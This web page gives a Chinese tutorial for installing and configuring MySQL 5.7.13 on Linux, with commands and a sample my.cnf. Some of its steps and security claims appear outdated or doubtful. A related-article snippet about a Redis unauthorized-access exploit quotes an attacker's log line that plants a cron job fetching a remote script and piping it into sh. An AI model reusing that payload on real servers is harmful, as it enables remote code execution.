最全的mysql 5.7.13 安装配置方法图文教程(linux) 强烈推荐!

最全的mysql 5.7.13 安装配置方法图文教程(linux) 强烈推荐!

简介

MySQL 是一种关系型数据库管理系统,其足以胜任各类型规模企业数据的存储与管理。本教程将针对 Linux 系统的用户介绍 MySQL 5.7.13 的安装与配置。

步骤一:下载 MySQL

首先,我们访问 MySQL 的官网并下载最新的版 MySQL5.7.13。如下所示,我们将会下载到 MySQL 软件包的安装文件:mysql-5.7.13-linux-glibc2.5-x86_64.tar.gz。

wget https://dev.mysql.com/get/Downloads/MySQL-5.7/mysql-5.7.13-linux-glibc2.5-x86_64.tar.gz

步骤二:解压 MySQL 软件包

下载完成后,我们需要将 MySQL 软件包解压存放到需要的目录中。在本教程中,我们将会把 MySQL 存放到 /usr/local/mysql 目录下。

tar -zxvf mysql-5.7.13-linux-glibc2.5-x86_64.tar.gz
mv mysql-5.7.13-linux-glibc2.5-x86_64 /usr/local/mysql

步骤三:添加系统用户和用户组

为了使MySQL得到最佳的性能,并且为了管理方便以及安全性考虑,我们需要在 Linux 系统中添加一个用户和组。在本文中,我们将会创建一个名为“mysql”的用户和组,并且把 MySQL 的安装文件夹的权限赋值给该用户和组。

groupadd mysql
useradd -r -g mysql mysql
chown -R mysql.mysql /usr/local/mysql

步骤四:初始化 MySQL

在安装 MySQL 之前我们还需要初始化 MySQL 的配置文件。初始化配置文件的命令如下:

cd /usr/local/mysql
scripts/mysql_install_db --user=mysql --datadir=/usr/local/mysql/data --basedir=/usr/local/mysql

执行完毕后,请确认数据库安装路径的读写权限。

步骤五:编辑 MySQL 配置文件

编辑 MySQL 的配置文件 my.cnf。在本文中,我将配置文件放在了 /etc 目录下。以下是编辑配置文件的命令:

cp support-files/my-default.cnf /etc/my.cnf
vi /etc/my.cnf

更新 my.cnf 中的配置项,样例配置如下:

[client]
port = 3306
socket = /tmp/mysql.sock

[mysqld]
port = 3306
socket = /tmp/mysql.sock

basedir = /usr/local/mysql
datadir = /usr/local/mysql/data

skip-external-locking

key_buffer_size = 16M
max_allowed_packet = 1M

table_open_cache = 64
sort_buffer_size = 512K
net_buffer_length = 8K
read_buffer_size = 256K
read_rnd_buffer_size = 512K
myisam_sort_buffer_size = 8M

# Disabling symbolic-links is recommended to prevent assorted security risks
symbolic-links = 0

# http://dev.mysql.com/doc/refman/5.7/en/thread-priority-feature.html
thread_concurrency = 10

# Disable reverse lookup to speed up the formation of the connection log (disable DNS resolution)
skip-name-resolve

sql_mode = NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES

log-bin = mysql-bin
binlog_format = ROW

# Set size of the Innodb buffer pool
innodb_buffer_pool_size = 106M

# Set location of Innodb log file (should you choose to use Innodb)
innodb_log_file_size = 256M
innodb_log_buffer_size = 8M

# Performance
query_cache_type = 1
query_cache_limit = 256K
query_cache_size = 8M

步骤六:启动 MySQL 服务

接下来,启动数据库服务。我们采用如下命令启动 MySQL 服务:

cd /usr/local/mysql
bin/mysqld_safe --user=mysql &

运行该命令后,在终端不要关闭,否则,后台进程将被关闭。

步骤七:设置 root 账户的密码

启动 MySQL 服务后,我们需要设置 MySQL 的 root 用户的密码。以下是设置 root 用户密码的命令:

mysqladmin -u root -h localhost password 'newpassword'

该命令将会为 root 用户设置新密码 newpassword。

示例一:创建新的 MySQL 用户

假设我们需要创建一个名为 jack 的新用户,以下是创建新用户的 SQL 命令:

CREATE USER 'jack'@'localhost' IDENTIFIED BY 'password';

该命令将会创建一个新的 MySQL 用户,并且设置用户密码为 password。

示例二:授权 MySQL 用户访问数据库

假设我们需要授权名为 jack 的用户访问我们的 mydb 数据库,以下是授权给 jack 用户访问的 SQL 命令:

grant all privileges on `mydb`.* to 'jack'@'localhost';

该命令将会授权名为 jack 的用户访问 mydb 数据库的所有表。

结语

至此,我们已经完成了 MySQL 5.7.13 在 Linux 系统中的安装和配置。我们通过打开 MySQL 端口和创建额外 MySQL 用户与数据库的方式来提高其安全性,并且这些步骤也可以应用于任何 MySQL 版本或系统,只需进行适当的更改即可。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:最全的mysql 5.7.13 安装配置方法图文教程(linux) 强烈推荐! - Python技术站

(0)
上一篇 2023年5月22日
下一篇 2023年5月22日

相关文章

  • 基于ubuntu中使用mysql实现opensips用户认证的解决方法

    下面是详细讲解“基于ubuntu中使用mysql实现opensips用户认证的解决方法”的完整攻略。 概述 在这个攻略中,我们将介绍如何在Ubuntu操作系统上使用MySQL数据库实现OpenSIPS用户认证。OpenSIPS 是一款基于 Session Initiation Protocol(SIP)的开放源代码 SIP 服务器软件。如果您想要使用 Ope…

    database 2023年5月22日
    00
  • 如何在Python中使用sqlite3库连接SQLite数据库?

    在 Python 中,我们可以使用 sqlite3 库来连接 SQLite 数据库。下面是如何在 Python 中使用 sqlite3 库连接 SQLite 数据库的完整使用攻略。 连接 SQLite 数据库 在使用 sqlite3 库连接 SQLite 数据库时,需要指定数据库文件的路径。下面是一个连接 SQLite 数据库的示例: import sqli…

    python 2023年5月12日
    00
  • MySQL循环语句之while循环测试

    非常感谢您对MySQL循环语句之while循环测试的关注。接下来,我将详细讲解该攻略的完整过程,希望对您有所帮助。 1. 简介 在MySQL中,循环语句是非常有用的功能。特别是当需要重复执行相同的代码块时,使用循环语句可以大大提高代码的重用性和可读性。 MySQL提供了多种循环语句,其中之一就是while循环。在while循环中,只有当指定条件成立时,循环体…

    database 2023年5月21日
    00
  • mysql5.6.8源码安装过程

    MySQL 5.6.8 源码安装攻略 MySQL是一款流行的关系型数据库管理系统,其最新版本是MySQL 8.0。然而,MySQL 5.6.8仍然是广泛使用的版本之一。以下是MySQL 5.6.8源码安装的完整步骤: 步骤一:下载源码 首先,我们需要到MySQL的官方网站下载源码包。在本教程中,我们将使用MySQL 5.6.8版本。您可以在以下链接中找到该版…

    database 2023年5月22日
    00
  • [日常] 研究redis未授权访问漏洞利用过程

    前提:redis允许远程连接,不需要密码 1522057495.583846 [0 123.206.24.121:50084] “set” “dUHkp” “\n\n*/1 * * * * curl cdn.namunil.com/sh.php|sh\n” 1522057495.584467 [0 123.206.24.121:50084] “set” “y…

    Redis 2023年4月11日
    00
  • Microsoft Access和dBASE的区别

    Microsoft Access和dBASE都是广泛使用的数据库管理系统,在许多方面都非常相似,但也有一些区别。在本文中,我们将详细讲解这些区别,并提供一些实例以更好地了解这些系统的不同之处。 Microsoft Access的特点 Microsoft Access是一种关系型数据库管理系统,是微软公司推出的Office套件的一部分。它可以在Windows操…

    database 2023年3月27日
    00
  • VMware Workstation安装(Linux内核)银河麒麟图文教程

    VMware Workstation安装(Linux内核)银河麒麟图文教程 简介 VMware Workstation 是一款优秀的虚拟机软件,可以方便地创建虚拟机环境,并在其中运行不同操作系统。下面是银河麒麟系统中 VMware Workstation 安装的详细步骤。 步骤 1. 准备工作 首先需要在银河麒麟系统中安装必要的软件包,其中包括 gcc、ma…

    database 2023年5月22日
    00
  • 查找sqlserver查询死锁源头的方法 sqlserver死锁监控

    下面是关于“查找 SQL Server 查询死锁源头的方法 SQL Server 死锁监控”完整攻略,包括以下步骤: 前置条件 在进行 SQL Server 死锁监控之前,需要先了解四个基本概念: 锁(Lock):在 SQL Server 中,锁是防止并发访问进行数据访问的机制。 事务(Transaction):事务是执行一系列相关的操作并形成一个逻辑单元,…

    database 2023年5月21日
    00
合作推广
合作推广
分享本页
返回顶部